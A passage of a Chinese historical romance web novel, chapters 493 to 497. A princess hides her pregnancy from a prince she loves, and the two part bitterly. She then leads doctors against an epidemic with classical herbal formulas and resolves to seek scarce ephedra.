第四百九十三章:你怎么来了? 易三少警告轩辕翰道:“秦王殿下可知这里是东宁国的领土?以你的身份,极其不适合出现在这里。而且,莫非秦王忘了,丫头曾亲口说要嫁与我为妻的。所以以后,尤其是深夜,你都给我离丫头远一点,否则……我要你的命!” 似是话里有些信息触动了轩辕翰的某根敏感神经,他忽地一把大力地提住了易三少的衣领,直逼近到他的眼前,对其郑重地说:“易三少,本王警告你,不要一而再再而三地试图挑战本王的底线!本王说过,她是本王的女人。就算她心里没有本王,可她既然已将身子给了本王,今生她便只能是本王的女人。不但如此,我轩辕翰的女人,这辈子,下辈子,下下辈子,生生世世,任谁都休想从本王的身边夺走她!” 也不知哪里来的勇气,这次易三少竟没有再朝其妥协,反手更紧地攥住了轩辕翰的衣领,不甘示弱地道:“轩辕翰,你听清楚了!” 易三少怒视着轩辕翰的眼睛顿了顿,从未如此认真地说:“从前与你不争,并不就代表我自甘示弱怕了你,而是我太尊重丫头。我尊重她的选择,知道她喜欢你,以为只有你才能给她想要的幸福。可事到如今,见所发生的种种,皆都证明了,你……只会带给丫头无尽的痛苦与煎熬。既然你知道自己不能给她幸福,那又为何要将她……将她……” 只要一想到衣上云已然身怀有孕的事实,以及其独自一人以后即将面临怎样的流言蜚语与屈辱生活,易三少便再也说不下去,遂默默地收了声。 此时的轩辕翰自是什么都还不知道,只不以为然地说:“你怎知本王就给不了她想要的幸福?你又怎知本王就不尊重她的选择?本王若是不尊重她的选择,此刻,便不会任由她置身于在这如此危险的疫区里劳碌奔波。” 打从东宁国启程回国的那一刻起,轩辕翰便就说服自己永远不再将她放在心上,因为不值得,可心里却是分分秒秒始终都不曾放下过她。 顿了顿,轩辕翰反问了一句:“可话又说回来了,那你……又能给她什么?给她用来挡我的借口?” “我……我……”闻声,显然轩辕翰已知晓了一切,易三少不自觉默默地垂首了下去。 是啊,对于那个固执地让自己完全束手无策的女人,他与轩辕翰相比,此刻又能比他好到哪里去? 见其已然分神,轩辕翰便乘机兀自朝着衣上云所在的屋子方向欲要踱步过去,岂料刚一抬腿,易三少竟忽地回过神来快步上前,用身体挡在了其面前质问他:“你要做什么?” 轩辕翰深吐了口浊气,沉声着道:“我与云儿之间的事与你无关,让开!” 易三少如同门神一般锲而不舍地守着,坚决地道:“休想!” 见易三少此刻竟是如此执着,若再与其继续僵持下去,怕是天都快要亮了,轩辕翰心念一动,挑衅说道:“看来,今天若是不让你知道本王的厉害,你是绝不会死心了!” 易三少想都不想,脱口即出朝其迎战道:“奉陪到底!” “好,既然如此,本王便让你输的心服口服。” 话音未落,轩辕翰便于黑夜之中腾空而出,顿不见了踪影。 见此,易三少亦双脚点地,紧紧跟了出去。 夜,越来越深。 衣上云静静地躺在床上,几经辗转反侧,身体明明很累,而此刻却是怎么都睡不着了。 索性便坐起身来,看了看空荡荡的屋内四周,不知为何,心里竟忽然有些害怕。 于是下床,又多点亮了几盏烛火,似是方才安心了下来。 龙虎城的半夜里,要比东宁皇城冷许多,于是她又找来了一件朱红色的斗篷将其披在了身上,兀自默默地来到了屋内的案几边落座下。 习惯性地提壶倒了杯热茶,举起刚到嘴边,忽想到自己如今已然是有了身子的人,在她的肚子里,有一个小生命正在悄悄生长。 足足十月,在此期间她们母子息息相关,生命相连,彼此感受着彼此的喜,彼此的怒,彼此的哀伤,彼此的快乐…… 想着想着,她不由自主地挑了挑眉,感觉心情似是与从前以往的每个时刻都不一样,她虽说不清楚,但她知道那是令她无比欢喜愉悦,无比期待的。 居然,措不及防地这么快她便要做母亲了,无论如何,她都一定会好好保护他,不让他受到半点儿伤害。 一念至此,她缓缓将茶水放下,重新又换了杯热水,这才吹了吹上面的热气,将其小心翼翼地送入到口中润了润喉,顿觉心里舒服多了。 随后,她垂眼下去,并微笑着轻轻附上一只手去温柔地抚摸着腹部,似是怕惊到了那个小家伙,便柔声喃喃问候着道:“小家伙,你还好吗?” 深深吐了口气,脸上的笑容亦随之渐渐散去,转而对其又一脸抱歉地说道:“真是对不起,可能你一出生,便注定要跟着我一起受委屈。但是,可不可以原谅我,不要怪我!” 话说至此,鼻子一酸,泪水忽然模糊了双眼:“其实我也不知道,一步一步,怎么会走到今天这个样子?当初,我只是怕救不了他,又怕父皇逼我嫁给易三少,于是便想着若是委身于他,亦或没有了守宫砂,便能护住他,亦不会有任何人再逼我,于是……于是……” 想起那俩人彼此拥有,缠绵温存的一夜,衣上云苦乐参半。 遂吸了吸鼻子,继续道:“他是我这辈子唯一深爱过的人,可他却亦终究是敌国的将领,于我而言,自是今生最不可能的人。原本以为能够拥有他的片刻温存记忆,便足以能支撑我过完这一生。竟不想,还能有个你。我忽然觉得,上苍待我如此不薄,给了我这样意外的小幸运!” 她竟都已经想到不久以后,便会有个咿咿呀呀的小东西,奶声奶气地整日里跟前跟后围着她打转,便不由自主地痴笑了起来…… “咚咚咚……” 正暗自思索着,忽闻一阵叩门声响起。 衣上云遂皱了皱眉,有些不耐烦地口中碎碎念道:“这么晚了,他又想来做什么?” 似是实在不知该如何面对易三少的步步紧逼,索性她便打算就这样佯装着已歇息下了,兀自静静地在屋内坐着并未出声回应。 岂料片刻后,门外的叩门声竟再次响了起来:“咚咚咚……” “你究竟还要我再跟你说多少次,你休想伤害我的孩子!” 衣上云已然有些怒不可遏地起身来一边说着,过去将门哗地一下打了开来,却是瞬间对着来人的脸惊呆了。 半晌后,方才愣愣地道:“是你……你怎么来了?” 来人正是方才与易三少在院子里争执了半晌,好不容易终于将其甩掉了的秦王轩辕翰。 轩辕翰见门刚一被打开,便眯起眼睛来,方才在屋外隐隐听到她的话,并不怎么真切,却依旧心里似是有些预感,便开口不解地问:“方才你说什么?伤害什么孩子?该不会是你……” “不是我!”衣上云紧张地脱口即出,矢口否认道。 “孩子……”复又紧忙回过神来,慌乱地眨了眨眼睛,转身朝屋里走了进去,以此来躲避轩辕翰朝自己所投来的满满质疑的目光,道:“我……我……我是说,任何人都休想伤害庙里的这些孩子。” 轩辕翰若有所思着跟随其脚步进门后,反手将门紧紧关住。半信半疑地听着她的话,又盯视着她的周身仔细审视了一会儿,见其安然无恙,才放眼过去扫了一圈简陋的屋内陈设,故意说道:“难道这就是尊贵的永宁公主想要的生活?” 衣上云一听其说话的语气,亦随之瞬间改变了态度,道:“本公主想要过怎样的生活,如今似乎早就与秦王殿下没有任何关系了吧?” 闻此,轩辕翰忽屏住了呼吸,一个剑步过去将衣上云猛的逼到了墙角。 “嗯……”衣上云顿时发出一阵闷哼,惊的直对其瞪大了眼睛,却是瞬间被其熟悉的气息彻底淹没。 就在他情不自禁地附手上去,欲要彻底扯掉衣上云的外衣遮挡时,她忽地清醒了过来…… 请收藏本站:哥们手机版: 『点此报错』『加入书签』 第四百九十四章:快放开她,她怀孕了 就在他情不自禁地附手上去,欲要彻底除去衣上云的外衣遮挡时,她忽地清醒了过来,一把大力地将其推开,阻止他已然愈来愈深的欲望道:“不要……” 闻声,轩辕翰先是对其反应愣了一下,却是很快又兀自想起天牢的那一夜来,似是有些意犹未尽,加之这些日子以来,太过于思念她的温柔。 且正值血气方刚的年华,一匹已然开了荤的饿狼,又岂会如此轻易便就放弃追逐他的猎物? 只是稍顿了顿,轩辕翰便再次朝其附身上去,埋头在她的脖颈,肩窝处继续缓缓耳鬓厮磨,游离了起来。 不知过了多久,才察觉到衣上云不知何时竟已在自己霸道的欺身下变得异常安静,却亦是对自己的满腔热情再无了半丝回应,方才缓缓停下了动作,退身开来。 这时,他才看到被自己压在身下的娇小身躯的眼角里竟然早已闪烁起点点泪花来,遂心里一惊,忙慌乱无措地对其致歉道:“云儿,对不起,都怪本王太思念你,所以才会一见到你便情不自禁地想要你。” 此刻,衣上云的脸上没有任何表情,亦不看他的脸,兀自只出神着伸手拉了拉被其扯的凌乱的衣领,缓缓坐起身来一副对他视而不见地姿态道:“若是殿下喜欢用强的,云儿自是无力反驳。” 闻此,轩辕翰望着她的眼睛惊呆了,竟一时记不起自己方才都对她做了些什么?亦不知自己到底在干什么? 待刚一回过神来,轩辕翰稍一思索,便激动地道:“不,云儿,本王知道你心里一直都是有本王的,你看你方才刚一开始都没有推开本王,所以在本王想你的日子里,你也定是在想念着本王的对不对?” 他以为,衣上云还在为东宁国的事因欠她一个解释而生气,于是着急地朝她说道:“本王知道之前都是本王的错。在东宁的行动暴露后,本王不该瞒着你让你为本王担心,你的父皇薨逝后,本王亦没能陪伴在你的左右,安慰你……” 回想起过去种种患得患失以及艰难时刻,如今似是一切都已随着东宁国君的离世而结束。 此刻衣上云再也不想回忆起那段伤心无助的日子,遂极不耐烦地开口将其打断道:“事到如今,秦王殿下以为这一切都还重要吗?” 看着衣上云的侧脸,如今她竟如此云淡风轻地说出这般冷漠的话来,忽想起程良的话,轩辕翰始终都难以置信衣上云此时的反应。 顿了顿,遂开口继续道:“本王知道,那易三少,只不过是你一直以来拿来堵本王的借口,你根本就从未想过要嫁他。云儿,你原谅本王好不好?我们从头开始,可好?” “从头开始?” 闻此,衣上云终于顿转过了脸去看着他的眼睛,掷地有声,认真极了地说道:“有什么区别吗?如果从头开始,你是不是便就不会是西秦秦王?还是……我就会改变我是东宁国嫡公主的身份?” 轩辕翰苦道:“不,云儿你心里明明知道,这些本王都不在乎。” 可衣上云却不以为然,紧接着他的话扬声说道:“秦王殿下不在乎,可我在乎!” 这一声,似是真的震惊到了轩辕翰,他定定地看着她的脸,等待着其接下去的话,而衣上云却似不敢继续再面对他,默默地转过了身去。 兀自继续说:“当我得知,父皇驾崩前所立下的遗嘱,竟然是将整个东宁国都交给了我,我才知道父皇为何当初要赐予我……永宁……的封号。所以,即便我不是一国之君,哪怕只是小小的一介草民,亦有责任用自己的一生来守护这座城,不死不休。这一生,我都不会离开这里。所以,这将是我们俩之间永远都逾越不了的鸿沟……” 一边说着,缓缓移步来到了窗户边上,见窗外的夜色已然更加地沉静,唯有天边的月亮依旧还是那个满满的圆月。 她这才忽然想起,那夜,在宫中下定决心在去天牢见他的时候,也有这样一轮似是一模一样的明月高悬于夜空之中,冥冥之中,它仿佛就是一种莫名的指引一般。 此时,原本自上次一别,长久以来都无处安放的一颗心,在终于见到了某人平平安安地出现在自己的面前,在自己终于鼓足了勇气说出了这些一直都不知该如何对他开口的话以后,似是整个人都得到了解脱。 显然,经过在龙虎城里与这里的子民们多日以来的朝夕相伴,什么西秦守护者的身份,她早已顾及不上。 此刻,她的眼里,心里只有这些与疫病努力抗争着的不屈不挠的生命。 一室寂静,静的让人窒息。 本以为这一次轩辕翰会就此彻底放弃,岂料他竟怔怔地望着她的背影许久后,默默地抬脚徐徐迈步向前了起来。 他轻轻地来到了衣上云的身后顿足停下,慢慢伸出双手展开怀抱,从其身后将她紧紧拥住。 衣上云本能地眼睛朝后方斜了一下,又皱了皱眉,心里正在纳闷。 轩辕翰俯身而下,贴在他的耳边宠溺柔声极了地说:“你这个惯爱撒谎的小骗子!过去多少时刻,面对本王,嘴里当真是一句实话都没有。你当真以为,这次本王会信你?” “我……”闻声,衣上云心里一急,竟再次引发起一阵孕吐来。 “云儿,你怎么了?可是哪里有不舒服?本王这就带你去找本王随身带来的太医,走!” 见此,一想到衣上云已身处疫区里多日,心里一急,轩辕翰忙拖起衣上云的手便要朝门口疾步而去。 “吱呀”一声响。 就在这时,门忽然被人从门外推了开来。 只见易三少顿现出身来,一看到轩辕翰牵着衣上云的手,便火冒三丈地厉声对其喝道:“轩辕翰,你果然奸诈,竟妄想借用自己的侍卫拖住本太子。你,你这是打算要带丫头去哪儿?” “松手!”见易三少及时归来,想着轩辕翰定会因此而分神,衣上云大力地欲要甩开轩辕翰的束缚,竟却不知丝毫撼动不了他的大手紧握半分。 意识到这点后,易三少看了看那两只紧紧握在一起的手,遂两道剑眉紧紧皱起,紧张至极地对轩辕翰喝道:“松开!” 岂料轩辕翰看都不看易三少,丝毫不将其放在眼里,完全不管不顾其阻止,咬了咬牙,固执地反倒将其手握得更紧了。 衣上云顿觉吃痛地发出一阵声音来:“嘶……” 易三少心里一急,大声道:“快放开她,她怀孕了……” “你说什么,怀孕了?”闻此,轩辕翰这才将目光一偏,低眼看向了易三少愣愣地道。 与此同时,一旁的衣上云又何尝不被惊到,怔怔望着易三少的脸。 轩辕翰转而方才忽地回过神来松开了手,回头朝衣上云满脸质疑地看去,等着她亲口向自己解释。 一时间,衣上云竟都不敢抬起头来看他,一边揉着自己的手腕,思虑片刻后,终是咬了咬牙心里一横,抬眼对上了他的目光。 对他毫不留情地道:“没错,本公主虽不知秦王殿下是从哪里听来的消息,说本公主无意与南安国太子联姻,可如今,我已然身怀有孕……” 说着,朝其身后的易三少悄悄瞪了一眼,可眼下也只能拿他来挡了:“是三少的。怎么,莫非就连本公主已怀了别人的孩子,秦王也可以完全不在乎,执意还要我吗?” 听闻其最终亲口乍出了这一句来,恍若晴天霹雳,轩辕翰顿觉惊呆了:“你说什么?” 半晌都不能反应过来:“你……你已经有了身孕?是……是易三少的?”轩辕翰显然惊愕极了。 这时,易三少上前来挡在了衣上云与轩辕翰之间,郑重地朝其警告道:“所以,请秦王殿下以后不要再多纠缠,否则,别怪我不客气!” “不可能,这绝不可能……”轩辕翰怎么都不敢相信,自己好不容易鼓起勇气来再一次面对她,却是还未开始便又被打回到了原点。 就在其犹犹豫豫,分不清面前俩人究竟所言是真是假时,衣上云似是意识到了他的顾虑。 于是开口说道:“莫非,秦王殿下是在质疑本公主乃是假孕么?” 说着,只见她缓缓抬起一只胳膊来,轻轻掀开手腕上的衣物遮挡,道:“若是不相信的话,这庙里有的是医术精湛的医者。秦王殿下可随便传唤一位进来帮您验证本公主所说究竟有没有欺瞒?亦或者是,殿下亲自来验证?” 话音刚落,衣上云不由自主地又引起一阵孕吐。 易三少忙替其轻抚背部,关切道:“怎么样?你还好吧?” 见其频频作呕,又想起刚才来时在门外隐隐听到衣上云明明说到了什么孩子的事情,显然一切都毋庸置疑,轩辕翰只觉心中顿生愤怒,道:“你……你怎会是如此……” 见他吞吞吐吐,衣上云忽开口夺了他的话头…… 第四百九十五章:这次,我是真的失去他了 见其频频作呕,又想起刚才来时在门外隐隐听到衣上云明明说到了什么孩子的事情,显然一切都毋庸置疑,轩辕翰只觉心中顿生愤怒,道:“你……你怎会是如此……” 见他吞吞吐吐,衣上云忽开口夺了他的话头,抢先说道:“秦王殿下是想说我怎会是如此不知廉耻,水性杨花的女人,对么?” 见自己这般难以启齿的一番话,此刻竟被衣上云说的如此掷地有声,仿佛所说之人不是她一般,轩辕翰直朝其瞪着眼睛惊呆了。 见他已然怔住,衣上云竟忽然有种如释重负的感觉,深吸了口气,道:“既然已经知道了我并非秦王心里所想的好女子,那便请秦王以后莫要再出现在我的面前扰我清净了。如此……于我们……都好。” “本王对你一片真心,没想到如今倒竟是扰了你的清静了,哈哈……哈哈哈……哈哈哈哈哈……”轩辕翰说着,最后忽然变做冷冷地苦笑了起来。 稍时,一收声,缓缓迈步上前朝其近身了过去。 易三少及时伸出一只胳膊将其挡在了衣上云的面前。 轩辕翰将易三少视若空气一般不管不顾,兀自直盯视着衣上云的眉眼,似是还想意图尝试着再一次向其确认:“本王最后再问你一次,你到底,有没有爱过本王?” 事已至此,衣上云只能继续故作镇定地看着他的眼睛,字字铿锵地道:“你我之间,从始至终,皆都只是逢场作戏而已。与你,我从来都未付出过半点儿真心!” 俩人四目相对视了许久,轩辕翰眼睛直勾勾地盯了她半晌,见其目光始终坚定如一,无一丝改变。 于是,渐渐退身回去,自嘲一般地说道:“本王的确没有想到,永宁公主竟是如此薄情之人。难怪这泱泱东宁国里男儿无数,东宁老国君却独独将大位最后传于永宁公主一介女子。看来公主的手段,果然不凡!昔日,当真是本王小瞧你了!” 顿了顿,他握紧拳头狠心决绝地说道:“衣上云,从此以后,本王与你……再无瓜葛!但愿我们,从来都没有遇见过。” 话一说完,便头再也不回地提步离开了屋子。 看到轩辕翰落寞离去的背影,衣上云在心里默默地道:“殿下可知,云儿心里是多么地想要跟你走,一生一世永远如影随形跟随着你的脚步到天涯海角。可事到如今,你是西秦秦王,我为东宁公主,我们都有各自的责任与要守护的人,你我之间,注定再无可能了!” 望眼欲穿地目送其终于渐渐消失在自己的视线,忽觉似是整个世界都瞬间崩塌了一般,身体亦随之摇摇欲坠了起来。 意识到衣上云的不适,易三少忙将其扶住,关切地道:“丫头,你没事吧?” 衣上云摇摇头,道:“我没事,夜深了,三少亦早些回去歇着吧!” “可是你……”易三少终归是对其一个人不放心。 然未及其将话说完,衣上云似是早已有些迫不及待地便想要将其支开,兀自直朝着床边走了过去:“我真的没事,只是有些乏了而已,有什么话,三少明日再说吧。” “好吧,那你好好睡一觉,明日起来,一切便都就过去了。”易三少见此,不得已最后只能默默收了声。 见衣上云已然不再说话,易三少叹了口气,无奈只得提步走了出去,替其将门轻轻掩上。 窗外,夜空中不知何时,竟早已是乌云蔽月,一片漆黑。 就在这时,忽闻“轰隆隆”一声巨响,伴随着两道明晃晃耀眼的闪电,似是要将整片夜空俱都撕裂一般,衣上云失神地惊叫了一声:“殿下……” 于是,便紧忙提起裙摆起身来疾步过去伸手拉开了门,朝着外面的一片漆黑中冲了出去…… 豆大的雨滴砸在她柔弱的脸上,身上,直教人感觉硬生生地疼,她却浑然不觉。 只不过一霎时,雨点连成了线,“哗”的一声,大雨就像天塌了似的铺天盖地从天空中倾泻下来。 许是雨夜里的光线着实太暗,尚还没追出多远,终未再见轩辕翰的身影,自己反倒被重重地跌倒在地上。 手上,胳膊上,膝盖处全都跌滑渗出了道道血迹来,却是刚一渗出,瞬间便被无情的大雨冲刷掉。 雷声,雨水,闪电声俱都从未间断,只不过须臾的时间,周围的世界里便已大雨滂沱。 她趴在地上,任凭雨水无情地冲刷着自己的脸,雨声彻底掩盖住她纵使用尽了全身力气依旧所发出的弱小的呐喊声:“殿下,对不起,对不起,对不起……” 这时,因为不放心,出门并未真正离去的易三少追了上来,将其扶住,与其一起淋着雨,心疼极了地道:“如此为难自己,你这又是何苦呢?” 衣上云将一只冰凉至极的手紧紧揪在心口处,颤抖着身子道:“三少,我的心好痛,真的好痛,这次,我是真的失去他了……真的失去他了!” 易三少心疼地看着她,似是整颗心都快要碎了,遂将她一把紧紧揽入到怀中,劝道:“丫头你听我说,我知道你难过,可若是再这样继续哭下去,你腹中的孩子定是保不住了啊!” “孩子,我的孩子,孩子不能有事,他千万不能有事,求求你帮我,三少,帮我,帮帮我……”话音未落,衣上云便彻底再也支撑不住地闭起眼睛失去了意识。 见此,易三少顿时惊声大叫着,将其身子晃了晃,道:“丫头,醒醒,快醒醒,不能睡,你不能睡,若是睡过去,孩子便就……” 见衣上云已然再也听不到自己的声音,易三少急忙将其一把横抱了起来,朝庙里疾步回去。 漫漫长夜过去,一道光射下,天终于亮了。 雨后的清晨,山里的空气显得格外新鲜,夹杂着阵阵翻新的淡淡泥土与花的清香味扑面而来。 “有没有看到丫头?” “有没有见到丫头的人?” “有见过丫头的人吗?” “见过丫头吗?” “今天有没有见过丫头?” …… 一大早,整个寺庙里到处便响起易三少焦急万分的声音来。 就在这时,一个看起来左右不过五六岁的小女孩在一旁看到后问:“大哥哥,你是在找那个漂亮的医女姐姐吗?” 易三少顿时扬起满脸希冀地朝其疾奔过去,蹲身而下,两手扶着她的小小肩膀道:“是啊,你是不是看到医女姐姐了?她人呢?她在哪?” 小女孩回头指着身后院落角上的一间屋子:“天还没亮,医女姐姐便在那里研究药方了,送去的早饭也还没吃。阿娘让我过去催了好几次,她才勉强喝了一小口粥。姐姐说,这次她一定有办法能救活我们龙虎城所有人的。” “丫头,你难道不知自己本就胎气尚还不稳,加之昨夜又淋了雨,竟还如此操劳,你这是不要命了吗?”易三少听了,一时间心里又急又气。 小女孩睁着大大的眼睛看着易三少片刻,又问:“大哥哥,你说,医女姐姐真的能救活我们所有人吗?” “能,她能!她一定能守护她心中想要守护的所有人。” 闻声,易三少忽地回过神来,揉了揉她的小脑袋,对小女孩信誓旦旦地说完这句话,便起身直朝那屋子方向疾步过去。 屋内,衣上云正起身站着,手执一本册子,上面所记录的满满都是自从来到龙虎城后,针对此次疫情中不同人所表现出来的症状所写下的各种药方。 这会儿,大家正在讨论多日以来各自所负责的那一类病患对药方的实际验证。 “麻黄,杏仁,炙甘草,石膏……用水七升,煮麻黄,去上沫,纳诸药,煮取四升,去滓,温服一升。辛凉宣泄,清肺平喘。” “麻黄,射干,生姜,细辛、紫菀、款冬花,五味子,大枣,半夏……以水一斗二升,先煎麻黄二沸,去上沫,纳诸药,煮取三升,分温三服。温肺化饮,下气祛痰。” “柴胡、半夏、人参、甘草、黄芩、生姜、大枣……以水一斗二升,煮取六升,去滓,再煎,取三升,温服一升,日三服。和解少阳。” “猪苓、茯苓、白术、泽泻、桂枝……捣为散,以白饮和服方寸匕,日三服,多饮暖水,汗出愈,如法将息。利水渗湿,温阳化气。” …… 大家各自汇报完以后,看起来表情皆都依然很凝重。 这时,之前为衣上云挡下病患家属手里的刺刀的医者一脸忧郁地说:“如今,尽管我们都已经绞尽脑汁,可病患的死亡率始终都只增不减。迄今为止,根本尚无一人痊愈,若是再继续这样拖下去,怕是……” 就在这时,一位遮着白色面巾的医女脚步匆匆地进来朝衣上云恭敬地行礼后,开口禀报道:“启禀公主,公主您是对的,那位患者如今已然痊愈,想您的方子定是对的……” 第四百九十六章:龙虎城少城主 就在大家为自己多日以来的辛苦付出,却并未得到所预期的效果一筹莫展时,一位遮着白色面巾的医女脚步匆匆地进来朝衣上云恭敬地行礼后,开口禀报道:“启禀公主,公主您是对的,那位患者如今已然痊愈,想您的方子定是对的。” 尚未及衣上云开口,方才刚刚说话的中年医者抢先发出一阵急呼声道:“你说什么?真的有人痊愈了?” 那医女顿转过身望向他,朝其郑重地点了点头,说道:“是的。这位病患起先被送来的时候已经明显出现了呼吸困难的症状,差点儿就被放弃了。是公主见那人的求生意识特别强,便执意将他留了下来。多日以来,通过公主的悉心诊治,他的病情亦有了一日更胜一日越来越明显的好转。就在今日晨起,我帮他例行检查的时候,发现他甚至就连发热、干咳、乏力等,这些最常见的症状亦都已消失不见,彻底痊愈了。” 至此,众人皆都纷纷朝其投去敬佩的目光,并不由自主地鼓掌,说道:“龙虎城有救了,东宁有救了!” 顿时间,齐刷刷朝其跪拜欢呼道:“永宁公主千岁千岁,千千岁……” 而此时的衣上云心里又何尝不惊喜,愣愣地怔在原地里似是半晌都没有反应过来。 待刚一回过神,忙一边着急地将众人扶起身,一边谦虚地说道:“大家起来,快起来,都起来啊,这都是大家齐心协力,众志成城的结果,方才使得龙虎城的百姓重见天日啊!谢谢大家,谢谢大家的努力,我们赢了,我们终于赢了!” “我们赢了,龙虎城赢了,东宁赢了,终于赢了……” 众人一边跟随其一起齐呼着缓缓起身来,竟还有许多人一边笑着,默默拭起了泪来…… 想想过去的日子里,有多少日日夜夜,就有多少个不眠不休,这其中,大家又亲眼目睹了多少生命的离开。 一念至此,惹得衣上云竟也不由自主地笑着流下了眼泪,一切都是多么地不易啊! 不知过了多久,那中年医者先从悲喜交加的情绪中清醒了过来,说道:“既然公主已经研制出了方子,刻不容缓,那便应该马上安排下去,加紧制药才是!” “对对对,本公主这就将方子写下来,全城加紧制药。” 衣上云亦顿时回过神来,遂急急回到书案边提笔写下药方:麻黄、炙甘草、杏仁、生石膏、桂枝、泽泻、猪苓、白术、茯苓、柴胡、黄芩、姜半夏、生姜、紫菀、冬花、射干、细辛、山药、枳实…… 几乎是一气呵成,记忆犹新地一写完后,她又说道:“此次龙虎城之疫病是否能够被战胜,成败便在此一举了。东宁的百姓们……再也耗不起了。” 这时,室内众医者们上前来齐聚在一起,在看完衣上云所写下的药方后,却是面面相觑着,最后默默垂首无言了起来。 衣上云见了,再次过去认真地审视了一遍自己的药方,确认无误后蹙眉不解地问:“众所周知,传染病向来都是以温病为主,而此次龙虎城的疫病却是寒湿疫。此方乃是由张仲景所著《伤寒杂病论》中的多个治疗由寒邪引起的外感热病的方剂优化组合而成,组方合理,性味平和。不知……可是这方子有什么不妥之处,各位大可各抒己见,说出自己的见解。” 半晌后,那中年医者吞吞吐吐地道:“公主这药方性味平和,几近完美。只是……这其中被列为首位的麻黄……” 衣上云解释说道:“麻黄质地温和,可疏解肌表,促使病患发汗,还能化痰止咳,敛肺、运水祛湿。况且……《本草纲目》里亦有‘麻黄乃肺经专药,故治肺病多用之。张仲景治伤寒,无汗用麻黄,有汗用桂枝’之说。不知各位可是还有什么疑虑?” 中年医者脸色忧郁地道:“并不是麻黄入药的问题,而正是因为麻黄至关重要,可我东宁的土质,众所周知自古是无法种植麻黄的。麻黄只适宜在沙质性的土壤中生长,在整个灵空大陆上,一直都只有在西秦秦王的封地上才为盛产。因为其用途特殊,平时在买卖管制上本就严苛,我国每年即便是花重金,也只能求得个勉强够用的量,可谓是千金难求。” 衣上云一听,正想着书信给宫中的梅志煊求助,那中年医者正好说道:“近日以来,三皇子已经将整个东宁的麻黄几乎全都调运到了龙虎城里来,怕是全国各地的麻黄至今都已经断货了。现如今,这般大的用量,怕是那秦王定是不会应允,出手援助的……” 听到众人随之皆是叹息声一片,衣上云亦若有所思地面露难色,沉默了下来。 思虑半晌后,衣上云深吸了口气,重新鼓起勇气来说道:“麻黄一事,由本公主来想办法解决……” 岂料话刚一开口,门外忽响起一厉声来,满是质疑地道:“你有办法?不知公主还有什么办法?” 一见到来人夺门而入,衣上云顿时惊讶地道:“三少,你来这里做什么?” 易三少进门后顿足停了下来,隐忍着心头的愤怒说道:“公主身体不适,为何不好好在房内休息,跑到这里来费心费神?” 闻声,在场众人纷纷将目光投向衣上云的脸,疑惑地关切道:“公主的身子……” 衣上云紧忙解释道:“无碍的,无碍的,大家莫要听他在此胡言乱语。” 说着,狠狠瞪了一眼易三少,示意他赶紧收回接下来要说的话。 这时,大家方才注意到这张陌生的面孔:“这位是……” “这位是……”衣上云正想开口向大家介绍,哪知易三少竟夺过了她的话说:“我乃东宁老国君生前所属意的公主未来夫婿……” 一时间,人群里炸开了锅。 “这位便是南安太子殿下……” “长得可真好看。” …… 说着,便朝其恭敬地行礼:“见过太子殿下。” 易三少一脸得意,衣上云却气炸了:“易三少,你若再在此继续胡言乱语,休怪我对你不客气。你即刻便就离开龙虎城,回你的南安国去。” 易三少却似是一点儿也不为之所动容,冷哼了一声,说道:“今日就算公主要杀了我,我亦要阻止公主心里所想的。” 衣上云眉头紧锁,却似是有些心虚,说道:“我……我想什么了?” 易三少早已在门外听到了方才的一切,他太了解她了:“公主是不是又想亲自去西秦找那秦王轩辕翰。” “我……我……”果然,她的心思被易三少看的透透的。 易三少在心里哼笑了一声,果然不出他所料。这个女人为了救人,果然是一点儿底线都没有。 见衣上云已然默认,事情果然是这样子,易三少提醒她道:“公主莫是忘了?秦王乃灵空战神,睥睨天下,向来战无不胜,攻无不克,却因你而屡屡受挫。曾几何时,你又屡屡出言羞辱于他,想那秦王轩辕翰睚眦必报,你若此时自己找上门去,岂不是羊入虎口,自投罗网?” 衣上云又怎会不知如今恨她入骨的轩辕翰,早已不再是以前那个对自己可谓是有求必应的轩辕翰。 然但凡有一点点机会,她又怎能放弃她的百姓,想起他们日日夜夜里一个个被病痛折磨,求生不能,求死不得,她便心痛不已。 “可我也不能眼睁睁看着我东宁子民们一个个去死啊!你可知,每当我亲眼看着他们一个个痛苦地死去时,我的心有多痛吗?大家日以继夜,不眠不休,终于有了良方,怎能就这样放弃?”衣上云揪心地说道。 周围皆是一片沉默,又无助。 顿了顿,衣上云整理好情绪,一脸决绝地开口说道:“易三少,于我而言,你什么都不是!不是我的什么未来夫婿,亦非我东宁国臣民。你的话,在这里,概不作数。即便那西秦秦王要我的命,只要能取回麻黄救我东宁国子民……本公主,心甘情愿。” 听了这番如此大无畏甘愿牺牲自己的话,众人皆对其投去肃然起敬的目光。 然就在这时,人群里又响起一声音来道:“我也不同意。” “是谁在说话?”衣上云顿朝发出声音来的方向看去。 “是我。” 随着声音,只见一虽同样遮着白色面巾,身着一袭白色锦袍,上面绣着淡淡的墨竹花纹,墨发半束,但却从其行为举止上依旧难掩其不凡气质的俊朗男子,缓缓上前站了出来。 那人一上来,便朝其恭敬地抱拳行礼:“参见公主!” 继而道:“倘若南安太子没有资格在此表态,我便以龙虎城少城主的身份,代表整个龙虎城的城民,亦不同意公主此举,实在太过于冒险。” 顿时间,衣上云惊呆了:“你……你是龙虎城少城主?” 何止衣上云一人,在场所有人与其一道皆朝其瞪大了眼睛望去。 这时,那中年医者上前来解释道:“在下乃少城主的人。自打龙虎城确诊了首例患者,少城主便就一直在亲自关注着疫情发展,更是不惧被传染的危险,不顾城主阻拦,始终都与病患们在一起与疫病做斗争,至今从未离开过寺庙半步。” 第四百九十七章:本公主,相信你 “原来你是龙虎城城主府的人!” 显然,望着眼前并排站着的俩人,此时方才得知其真正身份的衣上云对此甚是惊诧不已。 话音刚落,那少城主便再次紧接着开口诚恳地说道:“此次龙虎城大疫来势汹汹,外界人人唯恐避之不及,不想却幸得公主殿下不离不弃,亲临指挥抗疫,方才使得疫情没有发生大范围的扩散。在此,陆某替所有龙虎城百姓感谢公主的救命之恩。” 说着,便兀自抱拳深深朝衣上云鞠了一躬。 尔后,又直起身来继续道:“老国君刚刚薨逝,此时正值朝堂上多事之秋。公主虽一介女流,论功,却在这场不见硝烟的战场上不输于任何一个人。东宁能得公主殿下如此贤明的君主,乃是我国百姓莫大的福气。” 那少城主此时所说,又何尝不是在场众人心中所想,只见身旁众人纷纷都默默地点头,以示亦同意他的看法及赞许。 